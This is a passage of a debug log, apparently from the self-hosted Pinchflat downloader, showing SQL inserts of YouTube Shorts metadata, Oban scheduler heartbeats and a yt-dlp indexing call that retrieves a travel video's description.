min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 18:21:42.015 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "a61cc3b4-e856-49d8-85db-afa945e29b6a", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 18:21:42.015 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.015 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 18:21:42.016 [debug] QUERY OK source="media_items" db=0.6ms idle=2.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "328cbc36-4785-40b8-91ea-629735d56b1b", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 18:21:42.017 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.017 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 18:21:42.018 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "5ef28b27-8ea2-4dee-ad07-548ed8af7723", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 18:21:42.019 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.019 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 18:21:42.020 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "2662d6a2-d8e6-46a8-b21c-2d12f434e574", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 18:21:42.020 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.020 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 18:21:42.021 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "13f2f6f6-97a5-4771-b85a-af72147fcfae", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 18:21:42.022 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:42.022 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:17:34Z], 1] 18:21:42.023 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "c2e22d93-4f65-4289-9fea-612b0a1856fa", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", 10, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:17:34Z], ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], "", "Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1", "rv8UxAckc6M", 180, false, "https://www.youtube.com/shorts/rv8UxAckc6M", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demonology, Luci, Say-Tan, crystals, food, prayer, Holy Spirit Revealed. Pt.1.mp4", true, 1, ~U[2025-06-05 18:17:34Z]] 18:21:42.023 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z], 1] 18:21:42.023 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:21:42.024 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:21:42.024 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:21:42.025 [debug] QUERY OK source="tasks" db=0.2ms idle=1.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17074, 1, ~U[2026-08-20 01:21:42Z], ~U[2026-08-20 01:21:42Z]] 18:21:42.025 [info] {"args":{"id":1},"id":17070,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":27187453,"event":"job:stop","queue_time":897897,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:21:47.538 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.118 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:22:17.540 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:47.542 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.119 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:23:17.544 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:47.546 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.120 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:24:17.548 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:47.550 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.121 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:25:17.552 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:47.554 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.122 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:26:17.556 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:47.558 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.123 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:27:17.560 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:47.562 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.124 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:28:13.394 [info] {"args":{"id":3},"id":17071,"meta":{},"system_time":1787189293394249166,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:28:13.394 [debug] QUERY OK source="sources" db=0.2ms idle=707.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:13.395 [debug] QUERY OK source="settings" db=0.1ms idle=707.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:28:13.395 [debug] QUERY OK source="media_items" db=0.4ms idle=707.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:28:13.396 [debug] QUERY OK source="media_items" db=0.1ms idle=8.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:28:13.396 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:13.397 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:28:13.397 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:28:13.402 [debug] QUERY OK source="media_items" db=0.8ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 18:28:13.404 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:28:13.404 [debug] Current batch of media processed. Will check again in 1000ms 18:28:13.404 [debug] QUERY OK source="settings" db=0.1ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:28:13.405 [debug] QUERY OK source="settings" db=0.1ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:28:13.405 [debug] QUERY OK source="settings" db=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:28:13.405 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/45/10/45106f9ba208a3a70ba1e92986e4432991cc1feb82153e8f3c516000a8bb3230.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c9/7a/c97ad74a8d9819ef23af982d9d893c41616ed7c66d5b80f3033ef9ed99e2fff3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:28:14.405 [debug] Current batch of media processed. Will check again in 1000ms 18:28:15.406 [debug] Current batch of media processed. Will check again in 1000ms 18:28:16.407 [debug] Current batch of media processed. Will check again in 1000ms 18:28:17.408 [debug] Current batch of media processed. Will check again in 1000ms 18:28:17.564 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:18.409 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "duration" => 2174, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", "id" => "qYWhjW08-pc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qYWhjW08-pc", "playlist_index" => 1, "timestamp" => 1785508965, "title" => "China's Working Class Is Live-Streaming To Survive", "upload_date" => "20260731"} 18:28:18.410 [debug] QUERY OK source="sources" db=0.3ms idle=1722.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 